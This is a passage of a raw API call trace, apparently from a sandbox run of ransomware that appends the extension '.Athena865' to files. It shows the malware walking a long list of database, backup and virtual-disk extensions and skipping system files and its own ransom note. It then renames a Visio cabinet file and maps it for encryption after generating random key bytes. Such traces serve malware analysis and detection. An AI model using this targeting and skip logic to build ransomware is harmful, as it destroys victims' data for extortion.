lpString2="ora") returned -1 [0057.071] lstrlenW (lpString="orx") returned 3 [0057.071] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0057.071] lstrlenW (lpString="owc") returned 3 [0057.071] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0057.071] lstrlenW (lpString="p96") returned 3 [0057.071] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0057.071] lstrlenW (lpString="p97") returned 3 [0057.071] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 [0057.071] lstrlenW (lpString="pan") returned 3 [0057.071] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0057.071] lstrlenW (lpString="pdb") returned 3 [0057.071] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0057.071] lstrlenW (lpString="pdm") returned 3 [0057.071] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0057.071] lstrlenW (lpString="pnz") returned 3 [0057.071] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0057.071] lstrlenW (lpString="qry") returned 3 [0057.071] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0057.071] lstrlenW (lpString="qvd") returned 3 [0057.072] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0057.072] lstrlenW (lpString="rbf") returned 3 [0057.072] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0057.072] lstrlenW (lpString="rctd") returned 4 [0057.072] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0057.072] lstrlenW (lpString="rod") returned 3 [0057.072] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0057.072] lstrlenW (lpString="rodx") returned 4 [0057.072] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0057.072] lstrlenW (lpString="rpd") returned 3 [0057.072] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 [0057.072] lstrlenW (lpString="rsd") returned 3 [0057.072] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0057.072] lstrlenW (lpString="sas7bdat") returned 8 [0057.072] lstrcmpiW (lpString1="ioLR.cab", lpString2="sas7bdat") returned -1 [0057.072] lstrlenW (lpString="sbf") returned 3 [0057.072] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0057.072] lstrlenW (lpString="scx") returned 3 [0057.072] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0057.072] lstrlenW (lpString="sdb") returned 3 [0057.072] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0057.072] lstrlenW (lpString="sdc") returned 3 [0057.072] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0057.072] lstrlenW (lpString="sdf") returned 3 [0057.072] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0057.072] lstrlenW (lpString="sis") returned 3 [0057.072] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0057.072] lstrlenW (lpString="spq") returned 3 [0057.072] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0057.072] lstrlenW (lpString="te") returned 2 [0057.072] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0057.072] lstrlenW (lpString="teacher") returned 7 [0057.072] lstrcmpiW (lpString1="oLR.cab", lpString2="teacher") returned -1 [0057.073] lstrlenW (lpString="tmd") returned 3 [0057.073] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0057.073] lstrlenW (lpString="tps") returned 3 [0057.073] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0057.073] lstrlenW (lpString="trc") returned 3 [0057.073] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0057.073] lstrlenW (lpString="trc") returned 3 [0057.073] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0057.073] lstrlenW (lpString="trm") returned 3 [0057.073] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0057.073] lstrlenW (lpString="udb") returned 3 [0057.073] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0057.073] lstrlenW (lpString="udl") returned 3 [0057.073] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0057.073] lstrlenW (lpString="usr") returned 3 [0057.073] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0057.073] lstrlenW (lpString="v12") returned 3 [0057.073] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0057.073] lstrlenW (lpString="vis") returned 3 [0057.073] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0057.073] lstrlenW (lpString="vpd") returned 3 [0057.073] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0057.073] lstrlenW (lpString="vvv") returned 3 [0057.073] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0057.073] lstrlenW (lpString="wdb") returned 3 [0057.073] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0057.073] lstrlenW (lpString="wmdb") returned 4 [0057.073] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0057.073] lstrlenW (lpString="wrk") returned 3 [0057.073] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0057.073] lstrlenW (lpString="xdb") returned 3 [0057.073] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0057.073] lstrlenW (lpString="xld") returned 3 [0057.074] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0057.074] lstrlenW (lpString="xmlff") returned 5 [0057.074] lstrcmpiW (lpString1="R.cab", lpString2="xmlff") returned -1 [0057.074] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.Athena865") returned 84 [0057.074] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.athena865"), dwFlags=0x1) returned 1 [0057.074] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0057.074] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=50823389) returned 1 [0057.074] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0057.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0057.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518cd8 [0057.075] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518d60) returned 1 [0057.075] CryptGenRandom (in: hProv=0x518d60, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0057.075] CryptReleaseContext (hProv=0x518d60, dwFlags=0x0) returned 1 [0057.076] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30783e0, lpName=0x0) returned 0x17c [0057.077] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x3000000, dwNumberOfBytesToMap=0x783e0) returned 0x2d50000 [0057.105] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0057.192] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0057.211] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518d60) returned 1 [0057.211] CryptGenRandom (in: hProv=0x518d60, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0057.211] CryptReleaseContext (hProv=0x518d60, dwFlags=0x0) returned 1 [0057.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0057.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0057.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0057.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0057.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0057.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0057.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0057.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0057.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0057.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0057.212] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0057.217] CloseHandle (hObject=0x17c) returned 1 [0057.217] CloseHandle (hObject=0x154) returned 1 [0057.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0057.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518cd8 | out: hHeap=0x4f0000) returned 1 [0057.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0057.227] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0057.227] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0057.227] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0057.227] lstrcmpiW (lpString1="VisioMUI.msi", lpString2=".") returned 1 [0057.227] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="..") returned 1 [0057.227] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="windows") returned -1 [0057.227] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="bootmgr") returned 1 [0057.227] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="temp") returned 1 [0057.227] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="pagefile.sys") returned 1 [0057.227] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="boot") returned 1 [0057.227] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="ids.txt") returned 1 [0057.227] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="ntuser.dat") returned 1 [0057.227] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="perflogs") returned 1 [0057.227] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="MSBuild") returned 1 [0057.227] lstrlenW (lpString="VisioMUI.msi") returned 12 [0057.227] lstrcpyW (in: lpString1=0x241e8c6, lpString2="VisioMUI.msi" | out: lpString1="VisioMUI.msi") returned="VisioMUI.msi" [0057.227] lstrlenW (lpString="VisioMUI.msi") returned 12 [0057.227] lstrlenW (lpString="Athena865") returned 9 [0057.227] lstrcmpiW (lpString1="ioMUI.msi", lpString2="Athena865") returned 1 [0057.228] lstrlenW (lpString=".dll") returned 4 [0057.228] lstrcmpiW (lpString1="VisioMUI.msi", lpString2=".dll") returned 1 [0057.228] lstrlenW (lpString=".lnk") returned 4 [0057.228] lstrcmpiW (lpString1="VisioMUI.msi", lpString2=".lnk") returned 1 [0057.228] lstrlenW (lpString=".ini") returned 4 [0057.228] lstrcmpiW (lpString1="VisioMUI.msi", lpString2=".ini") returned 1 [0057.228] lstrlenW (lpString=".sys") returned 4 [0057.228] lstrcmpiW (lpString1="VisioMUI.msi", lpString2=".sys") returned 1 [0057.228] lstrlenW (lpString="VisioMUI.msi") returned 12 [0057.228] lstrlenW (lpString="bak") returned 3 [0057.228] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0057.228] lstrlenW (lpString="ba_") returned 3 [0057.228] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0057.228] lstrlenW (lpString="dbb") returned 3 [0057.228] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0057.228] lstrlenW (lpString="vmdk") returned 4 [0057.228] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0057.228] lstrlenW (lpString="rar") returned 3 [0057.228] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0057.228] lstrlenW (lpString="zip") returned 3 [0057.228] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0057.228] lstrlenW (lpString="tgz") returned 3 [0057.228] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0057.228] lstrlenW (lpString="vbox") returned 4 [0057.228] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0057.228] lstrlenW (lpString="vdi") returned 3 [0057.228] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0057.228] lstrlenW (lpString="vhd") returned 3 [0057.228] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0057.228] lstrlenW (lpString="vhdx") returned 4 [0057.228] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0057.228] lstrlenW (lpString="avhd") returned 4 [0057.228] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0057.228] lstrlenW (lpString="db") returned 2 [0057.229] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0057.229] lstrlenW (lpString="db2") returned 3 [0057.229] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0057.229] lstrlenW (lpString="db3") returned 3 [0057.229] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0057.229] lstrlenW (lpString="dbf") returned 3 [0057.229] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0057.229] lstrlenW (lpString="mdf") returned 3 [0057.229] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0057.229] lstrlenW (lpString="mdb") returned 3 [0057.229] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0057.229] lstrlenW (lpString="sql") returned 3 [0057.229] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0057.229] lstrlenW (lpString="sqlite") returned 6 [0057.229] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1 [0057.229] lstrlenW (lpString="sqlite3") returned 7 [0057.229] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1 [0057.229] lstrlenW (lpString="sqlitedb") returned 8 [0057.229] lstrcmpiW (lpString1="oMUI.msi", lpString2="sqlitedb") returned -1 [0057.229] lstrlenW (lpString="xml") returned 3 [0057.229] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0057.229] lstrlenW (lpString="$er") returned 3 [0057.229] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0057.229] lstrlenW (lpString="4dd") returned 3 [0057.229] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0057.229] lstrlenW (lpString="4dl") returned 3 [0057.229] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0057.229] lstrlenW (lpString="^^^") returned 3 [0057.229] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0057.229] lstrlenW (lpString="abs") returned 3 [0057.229] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0057.229] lstrlenW (lpString="abx") returned 3 [0057.229] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0057.229] lstrlenW (lpString="accdb") returned 5 [0057.230] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1 [0057.230] lstrlenW (lpString="accdc") returned 5 [0057.230] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1 [0057.230] lstrlenW (lpString="accde") returned 5 [0057.230] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1 [0057.230] lstrlenW (lpString="accdr") returned 5 [0057.230] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1 [0057.230] lstrlenW (lpString="accdt") returned 5 [0057.230] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1 [0057.230] lstrlenW (lpString="accdw") returned 5 [0057.230] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1 [0057.230] lstrlenW (lpString="accft") returned 5 [0057.230] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1 [0057.230] lstrlenW (lpString="adb") returned 3 [0057.230] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0057.230] lstrlenW (lpString="adb") returned 3 [0057.230] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0057.230] lstrlenW (lpString="ade") returned 3 [0057.230] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0057.230] lstrlenW (lpString="adf") returned 3 [0057.230] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0057.230] lstrlenW (lpString="adn") returned 3 [0057.230] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0057.230] lstrlenW (lpString="adp") returned 3 [0057.230] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0057.230] lstrlenW (lpString="alf") returned 3 [0057.230] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0057.230] lstrlenW (lpString="ask") returned 3 [0057.230] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0057.230] lstrlenW (lpString="btr") returned 3 [0057.230] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0057.230] lstrlenW (lpString="cat") returned 3 [0057.230] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0057.231] lstrlenW (lpString="cdb") returned 3 [0057.231] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0057.231] lstrlenW (lpString="ckp") returned 3 [0057.231] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0057.231] lstrlenW (lpString="cma") returned 3 [0057.231] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0057.231] lstrlenW (lpString="cpd") returned 3 [0057.231] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0057.231] lstrlenW (lpString="dacpac") returned 6 [0057.231] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1 [0057.231] lstrlenW (lpString="dad") returned 3 [0057.231] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0057.231] lstrlenW (lpString="dadiagrams") returned 10 [0057.231] lstrcmpiW (lpString1="sioMUI.msi", lpString2="dadiagrams") returned 1 [0057.231] lstrlenW (lpString="daschema") returned 8 [0057.231] lstrcmpiW (lpString1="oMUI.msi", lpString2="daschema") returned 1 [0057.231] lstrlenW (lpString="db-journal") returned 10 [0057.231] lstrcmpiW (lpString1="sioMUI.msi", lpString2="db-journal") returned 1 [0057.231] lstrlenW (lpString="db-shm") returned 6 [0057.231] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1 [0057.231] lstrlenW (lpString="db-wal") returned 6 [0057.231] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1 [0057.231] lstrlenW (lpString="dbc") returned 3 [0057.231] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0057.231] lstrlenW (lpString="dbs") returned 3 [0057.231] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0057.231] lstrlenW (lpString="dbt") returned 3 [0057.231] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0057.231] lstrlenW (lpString="dbv") returned 3 [0057.231] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0057.231] lstrlenW (lpString="dbx") returned 3 [0057.231] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0057.232] lstrlenW (lpString="dcb") returned 3 [0057.232] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0057.232] lstrlenW (lpString="dct") returned 3 [0057.232] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0057.232] lstrlenW (lpString="dcx") returned 3 [0057.232] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0057.232] lstrlenW (lpString="ddl") returned 3 [0057.232] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0057.232] lstrlenW (lpString="dlis") returned 4 [0057.232] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0057.232] lstrlenW (lpString="dp1") returned 3 [0057.232] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0057.232] lstrlenW (lpString="dqy") returned 3 [0057.232] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0057.232] lstrlenW (lpString="dsk") returned 3 [0057.232] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0057.232] lstrlenW (lpString="dsn") returned 3 [0057.232] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0057.232] lstrlenW (lpString="dtsx") returned 4 [0057.232] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0057.232] lstrlenW (lpString="dxl") returned 3 [0057.232] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0057.232] lstrlenW (lpString="eco") returned 3 [0057.232] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0057.232] lstrlenW (lpString="ecx") returned 3 [0057.232] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0057.232] lstrlenW (lpString="edb") returned 3 [0057.232] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0057.232] lstrlenW (lpString="epim") returned 4 [0057.232] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0057.232] lstrlenW (lpString="fcd") returned 3 [0057.232] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0057.232] lstrlenW (lpString="fdb") returned 3 [0057.233] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0057.233] lstrlenW (lpString="fic") returned 3 [0057.233] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0057.233] lstrlenW (lpString="flexolibrary") returned 12 [0057.233] lstrlenW (lpString="fm5") returned 3 [0057.233] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0057.233] lstrlenW (lpString="fmp") returned 3 [0057.233] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0057.233] lstrlenW (lpString="fmp12") returned 5 [0057.233] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1 [0057.233] lstrlenW (lpString="fmpsl") returned 5 [0057.233] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1 [0057.233] lstrlenW (lpString="fol") returned 3 [0057.233] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0057.233] lstrlenW (lpString="fp3") returned 3 [0057.233] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0057.233] lstrlenW (lpString="fp4") returned 3 [0057.233] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0057.233] lstrlenW (lpString="fp5") returned 3 [0057.233] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0057.233] lstrlenW (lpString="fp7") returned 3 [0057.233] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0057.233] lstrlenW (lpString="fpt") returned 3 [0057.233] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0057.233] lstrlenW (lpString="frm") returned 3 [0057.233] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0057.233] lstrlenW (lpString="gdb") returned 3 [0057.233] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0057.233] lstrlenW (lpString="gdb") returned 3 [0057.233] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0057.233] lstrlenW (lpString="grdb") returned 4 [0057.233] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0057.233] lstrlenW (lpString="gwi") returned 3 [0057.234] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0057.234] lstrlenW (lpString="hdb") returned 3 [0057.234] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0057.234] lstrlenW (lpString="his") returned 3 [0057.234] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0057.234] lstrlenW (lpString="ib") returned 2 [0057.234] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0057.234] lstrlenW (lpString="idb") returned 3 [0057.234] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0057.234] lstrlenW (lpString="ihx") returned 3 [0057.234] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0057.234] lstrlenW (lpString="itdb") returned 4 [0057.234] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0057.234] lstrlenW (lpString="itw") returned 3 [0057.234] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0057.234] lstrlenW (lpString="jet") returned 3 [0057.234] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0057.234] lstrlenW (lpString="jtx") returned 3 [0057.234] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0057.234] lstrlenW (lpString="kdb") returned 3 [0057.234] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0057.234] lstrlenW (lpString="kexi") returned 4 [0057.234] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0057.234] lstrlenW (lpString="kexic") returned 5 [0057.234] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1 [0057.234] lstrlenW (lpString="kexis") returned 5 [0057.234] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1 [0057.234] lstrlenW (lpString="lgc") returned 3 [0057.234] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0057.234] lstrlenW (lpString="lwx") returned 3 [0057.234] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0057.234] lstrlenW (lpString="maf") returned 3 [0057.234] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0057.235] lstrlenW (lpString="maq") returned 3 [0057.235] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0057.235] lstrlenW (lpString="mar") returned 3 [0057.235] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0057.235] lstrlenW (lpString="marshal") returned 7 [0057.235] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1 [0057.235] lstrlenW (lpString="mas") returned 3 [0057.235] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0057.235] lstrlenW (lpString="mav") returned 3 [0057.235] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0057.235] lstrlenW (lpString="maw") returned 3 [0057.235] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0057.235] lstrlenW (lpString="mdbhtml") returned 7 [0057.235] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1 [0057.235] lstrlenW (lpString="mdn") returned 3 [0057.235] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0057.235] lstrlenW (lpString="mdt") returned 3 [0057.235] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0057.235] lstrlenW (lpString="mfd") returned 3 [0057.235] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0057.235] lstrlenW (lpString="mpd") returned 3 [0057.235] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0057.235] lstrlenW (lpString="mrg") returned 3 [0057.235] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0057.235] lstrlenW (lpString="mud") returned 3 [0057.235] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0057.235] lstrlenW (lpString="mwb") returned 3 [0057.235] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0057.235] lstrlenW (lpString="myd") returned 3 [0057.235] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0057.235] lstrlenW (lpString="ndf") returned 3 [0057.235] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0057.235] lstrlenW (lpString="nnt") returned 3 [0057.236] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0057.236] lstrlenW (lpString="nrmlib") returned 6 [0057.236] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1 [0057.236] lstrlenW (lpString="ns2") returned 3 [0057.236] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 